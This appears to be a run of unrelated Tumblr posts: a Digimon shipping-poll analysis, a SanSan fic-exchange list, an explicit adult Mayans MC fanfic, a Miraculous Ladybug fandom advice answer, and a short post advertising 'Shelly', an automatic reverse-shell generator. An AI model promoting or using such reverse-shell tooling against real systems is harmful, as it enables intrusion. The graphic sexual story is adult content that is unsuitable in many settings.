“0 votes go to…”: Both Sora and Hikari have received 0 votes.

Annotations: The “Others” option received an interesting number of 8 votes, but unfortunately, there hasn’t been any clarification on who was favoured there (whether it was a character in Tri-verse or otherwise).

What did the other polls say?

Meiko hasn’t won any of the other character’s polls and also hasn’t made it to any podiums. However, she has receiced minor/niche attention in several polls; first of all, mirorring her own polls, by making an appearance in Mimi’s (7%) and Taichi’s (7%), but also getting votes in Sora’s (6%), Takeru’s (5%), Hikari’s (4%) Yamato’s (2%) and Jou’s (1%)

Koushiro is the only character in whose poll she received 0 votes (despite him having gotten 1 vote in hers in reverse).

Notable additions / comments / thoughts

Since Meiko is a character who only appears in the Tri movies as a re-occuring (main) character, she obviously does not get as much exposure as the other characters overall and also doesn’t have any interactions with any of the 02 characters aside from Takeru and Hikari. Hence there was no necessity for a second poll - which also means that she got the least amount of votes overall. (Of course there may be spheres in the fandom that also see her as a more controversial character, but we shall only focus on the positive aspects of the shipping here.)

Taking into account that my blog may or may not be visited by Digimon fans who have a preference for same sex ships - and due to their constant framing together -, it should come to no surprise that Mimi still managed to sweep the overall vote. While I expected the race between Taichi and Yamato to be tighter as well, I was also surprised to see the distribution of votes among the other characters. Meichi generally gets a lot of - understandable - framing, so Taichi’s placement is more than valid; however, Yameiko has slowly but steadily become more of a fan favourite due to several analysis posts taking a deeper look into their relationship.

When it comes to the other characters, she does have vital moments with Takeru, Sora and Hikari in canon - and while Takeru actually received a (comparably) decent amont of (niche) votes, I was surprised not to see Sora and Hikari represented in Meiko’s own poll, while she got at least niche attention in each of the other girls’ polls. (On a personal note, there may actually be a memory bias in place here, because I had forgotten a lot of the more memorable moments between her with each Takeru, Sora and Hikari, so I can only assume that this may have been the case for others as well.)

Since Meiko had no interpersonal visible interaction with Koushiro and Jou on screen outside of plot related reasons, the low number of votes is understandable.

The comments in the tags have only referred to the already mentioned choices. So the “Others” option did not reveal any other potentially preferred suitors. This leaves room for speculation, but usually, the option is reserved for OC ships, for when people prefer to not ship a character at all or when they’re considered asexual (which will definitely be a future option to include as well!). Thus, I really hope to reach a wider audience if I choose to repeat the polls once the fandom is not as quiet as it is right now.

Other Analysis Posts 

Taichi Yagami Shipping Analysis

Yamato Ishida Shipping Analysis

Sora Takenouchi Shipping Analysis

Koushiro Izumi Shipping Analysis

Mimi Tachikawa Shipping Analysis

Jou Kido Shipping Analysis

Takeru Takaishi Shipping Analysis

Hikari Yagami Shipping Analysis

Daisuke Motomiya Shipping Analysis

Ken Ichijouji Shipping Analysis

Miyako Inoue Shipping Analysis

Iori Hida Shipping Analysis

[hackgit]

​Shelly Automatic Reverse Shell Generator. Available Languages: 1. Bash 2. Netcat 3....

​Shelly Automatic Reverse Shell Generator. Available Languages: 1. Bash 2. Netcat 3. PHP 4. Ncat 5. Python 6. Python3 7. Perl 8. Telnet 9. PowerShell 10. Awk 11. Socat 12. Ruby 13. Xterm 14. Gawk https://github.com/d4t4s3c/Shelly

-

[maroucia]

Sansan Russian Roulette, summer 2021: the fills!

Here’s all the fills with links for the SanSan Russian Roulette 2021. Thanks everyone for your participation! 😄

Links under the cut!

1. Meet Me In The Moonlight Author: Fleurdeplume: “Dusk. Secret meetings. Stolen kiss. Sansa looks like a little bird but deep down, she's a wolf.” (Prompt from Lysae).

2. Broken Like Me Author: TheImmaculateBastard: “Inspired by a tweet, "I don't know what just happened, but I was at an animal shelter before work and a toddler walked in, pointed to me, and said “I want that one”. His mother looked at me and said “you can’t have that, that’s a grown man”” (Prompt from Lorel).

3. The Eyes Have It Author: Jadedelcinismo: “Sansa is in love with Sandor and is jealous of someone in his life. Canon/AU, your choice.” (Prompt from Missy-1978).

4. A Long Time Coming Author: Vermilion_Sunrise: “Sandor tucks Sansa in bed after her first day as Queen in the North.” (Prompt from Prettybadmagic).

5. Russian Roulette Author: Meganfence: “Fight, argument or other disagreement. Open to interpretation, minor or major.” (Prompt from Redbirdblackdog).

6. One Picture Author: Sharkaria: “Sandor discovers he's got a good eye for photography. He fills his time taking pictures of his urban landscape, until he spies a Little Bird Muse...” (Prompt from Glamgrowl).

7. The Season Author: Missy-1978: “Kinda stole this from the Discord, but I love a forced marriage trope! Maybe Sansa got left at the altar and Sandor steps in last minute. Or a role reversal where she has to marry him to save his honor. Something fun and unexpected, can be modern or set in GOT world.” (Prompt from Atomic-bomb-shell).

8. 𝓨𝓸𝓾 𝓐𝓻𝓮 𝓒𝓸𝓻𝓭𝓲𝓪𝓵𝓵𝔂 𝓘𝓷𝓿𝓲𝓽𝓮𝓭... Author: TailBobSquid: “Jumanji AU - either a game that they are playing comes to life or they get sucked into a game that they are playing.” (Prompt from ReadyReaderOne).

9. Magic Act! Author: Prettybadmagic: “Sandor is going to do it. He's going to do the kiss your best friend challenge. The friend he just happens to have been in love with since day one.” (Prompt from Islandida).

10. You should meet my Sister Author: Glamgrowl: “Feel good and funny modern au where all Starks are alive and well. Sansa makes the first move on Sandor even though she's not sure she's his type as he is much older and works a blue collar job. (Please no Joffrey bashing) Cameos from other Starks would be awesome but not necessary.” (Prompt from Rayne).

11. better days (just around the corner) Author: Glitterswitch: “Bakery/coffee shop AU Stranger is Sandor’s service animal.” (Prompt from OrangeTabby).

12. A Thin Line Author: LittleWolfBird: “Sandor joins the Stark family traveling circus when he sees a casting call for "freaks." Bonus points for Sansa on trapeze or tightrope.” (Prompt from GlitterGoth114).

13. Feels Like Spring Author: Diverse.lorde: “Sansa playing her high harp (or other instrument) and singing a song that she wrote about/for Sandor.” (Prompt from Neleam).

14. Going Viral Author: Lysae: “Sandor finds out Sansa made him TikTok famous after a video of him goes viral: Sansa: hey can I have x/can we go to y? Sandor: no. Sansa, in a sweet voice: pretty please? Sandor, huffing: fine (Daddy on the end of pretty please would be lovely, but if Daddy Sandor isn’t your thing, no problem).” (Prompt from TailBobSquid).

15. The Package Author: OrangeTabby: “Mafia AU, fancy party. Dominant Sandor, thirsty Sansa Sandor in a suit, hand tattoos, creeping neck tattoo, whiskey - Sansa thirsting.” (Prompt from Meganfence).

16. I Wonder That Too, Ser Chirrup Author: Neleam: “Sanson Stark has always been the dutiful yet idealist second son of House Stark. Sandra Clegane is a Silent sister who has been disappointed by the very songs she once admired. A knight of the Seven and a handmaiden of the Stranger unexpectedly find comfort in each other.” (Prompt from Jadedelcinismo).

17. Good Girl Author: Redbirdblackdog: “Sansa gets her first tattoo by none other than the famous tattoo artist "The Hound". When she's in pain, she exhales slowly and Sandor says, "Good girl". Sexual tension ensues. (This prompt was inspired by a meme.)” (Prompt from Thequeen--in--thenorth).

18. Ever the Same Author: Thequeen--in--thenorth: “Following a tumultuous few years, Sansa has spent every penny she's ever earned on a quiet cottage, surrounded by forest and wildlife. Not long after moving, a strange man appears in the pond near her home, half-alive and unable to remember anything about himself except his name: Sandor.” (Prompt from Suzi).

19. Closure's Overrated Author: Atomic-bomb-shell: “Crust punk modern AU. Sandor is a crustie squatting in the backyard of an abandoned house. Sansa is a friendly neighbor who offers him a warm meal and access to her laundry room.” (Prompt from Diverse.lorde).

20. All Because of a Little Bird Author: Lorel: “Sansa manages a gallery in King’s Landing. After storming out of a fight with her boyfriend, she drives off into the countryside. That’s when she sees the most amazing art behind some dusty glass in a car repair shop. Now all she has to do is convince the artist, Sandor, to do a show at her gallery.” (Prompt from Vermilion_Sunrise).

21. Caught Author: GlitterGoth114: “Walked in on. Caught in the act. "Can opened, worms everywhere." (Prompt from TheImmaculateBastard).

22. Unanswered Author: Islandida: “Robb comes home from war with a big loyal man behind him. Sansa never thought she'd see her brother again let alone *him*. Modern au or canon.’’ (Prompt from LittleWolfBird).

23. Hajime (To Begin) Author: Rayne: “Modern AU: After finally getting out of an unhappy/controlling relationship with Joffrey that desecrated her self-worth, Sansa enrolls for self-defence classes with martial arts Master Clegane, who proceeds to build up her self esteem and fighting skills while the two fight their mutual attraction.” (Prompt from Fleurdeplume).

24. Thig crìoch air an t-saoghal, ach mairidh gaol Author: Suzi: “Prompt submission -- passionate time travel.” (Prompt from Sharkaria).

25. His flame Author: ReadyReaderOne: “Sansa leaves with the Hound that night. Their journey thru Westeros is loosely similar - Arya, Twins, etc. They find Elder Brother to help Sandor. After healing, all 3 head for Braavos, and the Dragon Queen. Lots of friendship/bonding b/t all 3; both defend Sandor from Dany. Devoted sansan, HEA!’’ (Prompt from Glitterswitch).

[utterlyhopeful-fics]

Desire

A/N: SMUT ON THE BRAIN, I REPEAT SMUT ON THE BRAIN. 

Angel Reyes x Reader

MASTERLIST

Word Count: 1705k

Language: Smut, mention of blow-job, language, SMUT

*****************************************************************

Y/N leaned dangerously lower finding herself eye level with none other than Angel and the guys. She smirked; “You have five minutes to meet me in the storage closet Angel Reyes or I’m starting without you.” Y/N whispered licking the shell of his ear seductively. “And I don’t like waiting…” 

Her converse shoes squeaked ever so slightly against the wood floors beneath them as he ogled her ass swaying farther from his reach. Her form fitting shirt was leaving little to his active imagination. Her denim cutoffs taunted him with the simple sway of her luscious hips. She was a fucking deity and Y/N knew he was eating out of the palm of her enticing hand.

Under his breath, Angel finally exhaled the compressed air lodged in his chest; “Fuck.” Popping the ‘k’ overtly. It wasn’t until Coco coughed attempting to clear away any residual sexual tension that Angel peeled his stare from Y/N looking around the table innocently.

“Yo, I say this with mad love but if you don’t leave this table to fuck her, I will homie.” Gilly and Riz laughed wholeheartedly alongside Coco. The fire in Angel’s orbs blared to life, anger gripping ahold of him. His fist clenched ripping one of his cards clean down the middle trying to refocus his pent-up frustration.

“I’d watch that mouth of yours, man. Anyone who dares to touch Y/N nonetheless solicit my girl will definitely be meeting me in the fucking ring. Got it, hermano?”

Coco cheeks blushingly glowed chuckling at his best friend. They were in the middle of a poker game and Y/N knew to not bother him during these times. But, looks like Y/N didn’t want to play fair tonight and he’d have to remind of the rules. Angel licked his wet lips as saliva pooled within him.  

“I only do it because you’re so easy to get a reaction out of…probably why Y/N loves seeing that pissed look on your face. Bitch knows how to play the damn game; I’ll give her that.”

He threw his cards down to the table signaling his defeat; “Boys, I gotta girl that needs tendin to. Don’t come searching for us.” Angel raised his left eyebrow wiggling it to the best of his ability. His boots scuttled as the chair legs screeched backwards. Angel leisurely rose from his seat chugging the rest of his whiskey. The liquor was bitter, malty, and burned in all the right places. With his nerves afire and his belly ablaze, Angel sought out the one thing that could calm and simultaneously bait him.

The rumblings of his brothers didn’t jog past him as he walked towards the empty storage room. The soft voice of Gilly made its way to him; “Fucking Reyes and Y/N. How the hell did he score her again?” Coco chimed in; “Cabrón con suerte.”

Ez watched from the bar top inspecting his brother’s hungry glare scouring the room for Y/N. To say he was jealous wouldn’t be his choice of words but there was something about his best friend and brother boning that provided a weird energy of comfort.  

“Avert your gaze, Prospect. That’s an order.” Angel raised his hand saluting him breaking into a fit of laughter. Ez merely nodded focusing his attention back to demeaning cleaning chores and collecting miscellaneous bottles. The older Reyes walked through the door in search of the hidden room approaching on his left. He so enjoyed these games especially when it included Y/N.

“Oh sweetheart, where ya hiding? Papi is getting impatient.” His questioning tone vibrated off the bare walls as Angel observed the nooks and crannies surrounding him.

“Querida, you’re being a damn tease…”

Out of the blue, Angel heard the teasing tone of his girlfriend; “Marco….”

“So, you want to play games, Y/N? Bring it on darling. Polo.”

His ears perked up as his arm hairs stood straight looking for identifiable clues. Angel whipped around hearing a broom clash against the cold concrete. Y/N shuffled covering her mouth in hopes of keeping her laughs muffled. Her heart was practically beating outside of her rib cage as his signature cologne invaded her nostrils. Ever so quietly, Angel instinctively sauntered obscenely silent towards a corner of the abandoned room.

Angel was swift on his feet jumping around the corner scaring the living shit out of Y/N; “Gotcha!”

Y/N jumped as Angel watched her eyes bulge in momentary fear; “Shit, Angel! Well, looks like you found me. Now time to claim your prize?”

“Don’t have to tell me twice, baby.” Angel’s grip on her smooth hips tightened gluing her between the wall and his frame. Y/N huffed pressing her breasts firmly against him in retaliation.

“Well now that I’ve got you exactly where I want you…what are you gonna do with me?” Angel nipped at her exposed cleavage moaning loudly.

“Jesus Angel. You’re driving me crazy.” With little vigor, Y/N’s hands shoved him giving her a sliver of distance. Grabbing by the collar of his pristine shirt, she pressed him into her former place. Immediately, Y/N reached for the bulky belt buckle currently blockading her path, pulling hard admiring it slipped through the loops. She kept one hand securely on his chest as the other dropped the offensive item to the ground.

“You’ve been very naughty Angel. I’m here to deliver your penance.” Her flirtatious manner was beginning to get the best of her, her patience was truly being tested. She sunk down to her knees staring up at his bashful brown eyes and quivering Adam’s apple. Contemplating every sinful thought riddling his thoughts Angel tried to find the words garbled in his throat. 

Her hands moved faster than his brain undoing the button of his jeans before Angel was graced with the delicious sound of a zipper lowering. A minor tug of his pants revealed his striped boxers as Y/N slipped beneath the pesky layer. Her doe eyes gawked towards him in a demanding yet submissive approach.

“Looks like you’re in for a treat, Reyes…Of course if you’re not interested, I bet I could find---”

“No more fucking around baby.” Y/N bobbed in innocent agreement; “As you wish.”

She enveloped his hard cock stroking him the entire length, squeezing just enough at the tip as a groan slipped from him. “I can’t wait to taste you. I’ve missed you.”

Y/N continued her perfected movements fondling his dick faster causing his breath to hitch.

“Damnit, baby! What’re you doin—?”

Before he could finish his sentence, Angel was engulfed in her heat, the warmth of her flawless mouth. Y/N sucked harder compelling Angel’s head knocking the white wall holding him.

“You are too good at that. Too fucking good.”

Drool oozed from the corner of her salacious mouth as Y/N hummed forcing the vibrations to take Angel to the next level of pleasure. She sucked him off like her life depended on it. He was a half second away from losing it when she deep throated him to her limit. The suction noise was enough to turn him on enormously, but watching his girl go full force was about to make him lose his load. Pre-cum leaked down her chin before Y/N made quick work of licking it away, tidying up her mess.

She proceeded to remove herself, popping her lips loudly in effect; “Mm hmm, two minutes and you’re a goner.”

Angel was stunned into submission at the attractive girl on her knees and it turned him on to no surmountable end. He guided her back to where he craved her most cleverly placing his hand on the back of her head. He hated controlling her mannerisms but strictly stayed in place for future guidance. Angel added the smallest of pressure as more of his length guided down her throat. So warm and welcoming, Angel had to think of literally anything else to stop himself from cumming. The lustful look, her hands locked behind his buttocks, it was all too much for a simple Mayan to take in.

“Ahh, ahh shit. If you get doin that, I’m gonna explode.”

So, Y/N kicked into overdrive taking him as deep as her body would allow. She loved watching his eyes roll into the back of his head and the part of his lips waiting to cry out. So close, Y/N knew he was teetering on the edge of a mind-blowing orgasm so she initiated into full force.

The squelching noises coming from Y/N sent Angel overboard. Y/N sloppily slurped vying with every energetic thrust. The ache within him involuntarily released driving Angel to cum ferociously into Y/N’s sweet, hot mouth. Ribbons of cum filtrated the back of her throat welcomingly.

‘Fuck, fuck, fuck, fuck’ was the only explicit word in Angel’s mind as lustful chaos stormed throughout his body. Hot cum simmered down her throat as she so freely swallowed every gulp with dignified pleasure. She moaned around his length allowing his orgasm to linger. Angel lovingly held her in place as she sucked every last drop from the tip of his cock.

“God damn. God damn woman.”

Y/N’s fingers edged along the corners making sure to clean up any remnants remaining surveying Angel candidly. Y/N removed herself from the floor tucking him gently back into the folds of his boxers as his body turned to gelatin.

“You taste sweet. A hint of strawberry and pineapple?” Her devious tone enticed him wanting to bend her over and make her scream. But they’d been preoccupied for longer than anticipated. Angel knew he couldn’t fuck her quite yet but the night was young and the devilish grin on Y/N’s face told him he was in for a night of fucking and love making.

“Babe, that was fucking mind-blowing.” Angel cupped her cheeks kissing her excitedly. His cock twitched wishing to be buried inside Y/N but he knew better.

“Damnit, one hour and we’re out of here. Got it?”

“You don’t have to tell me twice, Reyes. I’m in dire need of an orgasm or two especially with my sexy as fuck Mayan to ride reverse cowgirl.”

“You have to idea what you’re askin for….”

Winking in Angel’s direction, Y/N knew precisely what she desired; “One hour or I’m starting without you.”

~~~~~~

Tags: @twistnet​ @ifoundmyhappythought @angelreyesgirl89 @carlaangel86 @imagineredwood @gemini0410 @mayans-mc @reaperwalking @prospectfandom @emmaveale123 @peaky-marvel @kind-wolf @scorpio4dayzzz @starrynite7114 @penny4yourthot @breanime @whyisgmora @thegirlwhowritesfics @star017 @threeminutesoflife @woahitslucyylu @briannab1234 @summertimesadnesswithadashofsass @blessedboo @lady-pswrld

[flightfoot]

I was Marinette Stan before. But I keep seeing people said Mariette never do wrong, she never get jealous of Lila and she called her out as ladybug is because her senses of justice, she never get jealous of Kagami and etc etc, basically ignored all her flaws and mistake and just glorified her as this pure angel and agent of justice. It make me sad and started to hate her character despite I know Marinette is not like what the toxic fans describe her to be. But it just hard to see her and not remember what those people do to her. Do you have any advice how to get rid of those thought?

Yeah, I’ve run into that as well. Worst of all when it’s combined with then bashing everyone around her for not being good enough for her, turning them into caricatures that... at a certain point I’m not sure I can even say they’re caricatures of THEMSELVES, they’re so far removed from reality. Though judging by the “angel of justice” bit, I’m guessing those are the sorts of cases you’re talking about, since that’s often how she’s presented by that crowd.

It’s difficult, I won’t lie. For starters, I mostly call that version “Saltinette” in order to differentiate her from Marinette. She has little in common with Marinette anyway. She’s just a hollowed-out shell that people use as a self-insert for revenge fantasies. 

Not like she’s the only one this is done too either. For pokemon, “Ash is betrayed by his friends and he goes off and trains and becomes super strong and powerful without them and comes back to yell at them about how horrible they are while rubbing in their face how powerful he is now” became quite the popular sub-genre apparently. Seriously google “Ash betrayal” and you’ll find no shortage of fics. And it’s not like this was derived from anything in-show or had anything to do with the characters actual personalities. It kinda helps me, seeing that it’s not really anything personal about Miraculous Ladybug or the characters - people will just write this kind of story regardless of there being any basis to it.

But there IS still that bitterness with seeing her used that way that can carry over to her character, even with differentiating them as much as I can

For myself? I’ve blocked about twenty tags on AO3 to try to minimize the number of fics I see pop up about Saltinette - even seeing the SUMMARIES pisses me off to no end. But of course, some still worm their way through. 

I read a lot of fics where Marinette’s in-character, where she’s kind and cares about people besides herself, as well as fics where she may fight or disagree with her friends or family - but it’s not treated as Adrien or Alya or Chat, for instance, being mean or evil, but instead like a genuine disagreement, with their emotions and reasons for disagreement being treated as valid, even if they’re based on incomplete information - likely related to Marinette’s double life.

Plus, there’s always rewatching episodes of the show. I especially recommend Reverser for salt fighting. 

With seeing Marinette reach out a helping hand to Marc we see her kindness and concern for others, even people she barely knows.

When her plan to give Nathaniel backfires and he yells at her, yells at Marc, even rips up Marc’s notebook, she’s mostly upset that things went horribly wrong - is upset on behalf of both the boys rather than herself. 

And when she and Chat Noir are hit? She’s kind and gentle and sweet with Chat, while going to her friends for help, including Nathaniel who’s calmed down and started thinking things through again. Because other people are treated as having their own emotional states and overreacting without being demonized for it and thrown in the trash.

At the end Marc and Nathaniel even engage in some light ribbing with Marinette, something she takes in stride, laughs along with.

Of course there are other episodes that are great to watch if you want to try and cleanse your mind of Saltinette, but that’s one I highly recommend.

Oh, and I also already wrote a fanfic dismantling the salt, showing where it has a kernel of truth to it in the beginning and then where it takes that too far, with the rest of it having the main thesis being that without the narrative bending to Saltinette’s views, she’s actually pretty bad from an outside perspective - not least because of how she warps the characters around her. And that she is NOT Marinette, is not anything LIKE Marinette, that Marinette would never be like her. So I remind myself repeatedly that I already wrote a fic on the matter and have already gotten my views on it across, which helps as well.